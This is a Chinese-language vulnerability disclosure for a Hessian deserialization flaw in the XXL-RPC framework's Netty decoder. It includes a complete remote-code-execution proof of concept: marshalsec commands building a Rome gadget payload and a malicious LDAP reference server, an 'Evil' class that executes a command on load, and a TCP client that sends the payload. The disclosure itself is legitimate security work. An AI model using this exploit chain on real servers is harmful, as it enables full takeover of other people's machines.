XXL-RPC 框架存在反序列化漏洞,攻击者可通过恶意序列化对象远程执行任意代码,控制服 务器所在的机器
XXL-RPC 可以通过以下代码设置服务器和反序列化器
XxlRpcProviderFactory providerFactory = new XxlRpcProviderFactory();
providerFactory.setServer(NettyServer.class);
providerFactory.setSerializer(HessianSerializer.class);
NettyServer 使用 NettyDecoder 反序列化数据的关键代码
channel.pipeline()
// --snip--
.addLast(new NettyDecoder(XxlRpcRequest.class, xxlRpcProviderFactory.getSerializerInstance()))
public class NettyDecoder extends ByteToMessageDecoder {
// --snip--
@Override
public final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
// --snip--
int dataLength = in.readInt();
if (dataLength < 0) {
ctx.close();
}
// --snip--
byte[] data = new byte[dataLength];
in.readBytes(data);
Object obj = serializer.deserialize(data, genericClass);
out.add(obj);
}
}
@Override
public <T> Object deserialize(byte[] bytes, Class<T> clazz) {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Hessian2Input hi = new Hessian2Input(is);
try {
Object result = hi.readObject();
return result;
}
// --snip--
}
可以看到调用了 Hessian2Input.readObject 来进行反序列化,而且 XXL-RPC 使用的反序 列化实现库并不安全,容易受到反序列化攻击
RCE Proof of Concept
想要命令执行,目标需要满足两个条件
- 依赖中包含 Rome
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
- -Dcom.sun.jndi.ldap.object.trustURLCodebase=true
漏洞利用过程:
-
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 Rome ldap://localhost:1389 > payload.bin
-
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/%5C#Evil 1389
-
通过 http 服务提供的恶意 class 文件,源码如下
public class Evil {
static {
try {
Runtime.getRuntime()
.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (Exception e) {
}
}
}
- 发送 TCP 请求到 Netty 服务器,触发 RCE
import java.io.DataOutputStream;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TcpClient {
public static void main(String[] args) {
try {
byte[] DESERIALIZATION_PAYLOAD = Files.readAllBytes(Paths.get("payload.bin"));
Socket socket = new Socket("localhost", 7080);
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
out.writeInt(DESERIALIZATION_PAYLOAD.length);
out.write(DESERIALIZATION_PAYLOAD);
out.flush();
socket.close();
} catch (Exception ex) {
System.err.println(ex);
}
}
}